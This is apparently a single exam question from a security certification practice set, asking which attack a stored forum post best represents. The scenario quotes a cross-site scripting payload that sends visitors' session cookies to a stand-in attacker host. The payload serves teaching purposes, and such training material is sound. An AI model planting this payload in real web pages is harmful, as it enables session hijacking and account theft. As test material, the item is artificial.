A SOC analyst is reviewing web server logs after users reported that a company forum page automatically launched a JavaScript pop-up displaying their session cookie values. Investigation shows a forum post containing the string <script>document.location='http://evil.example/c?='+document.cookie</script> was saved to the database and is now rendered for every visitor who views that thread. Which type of attack does this activity BEST represent?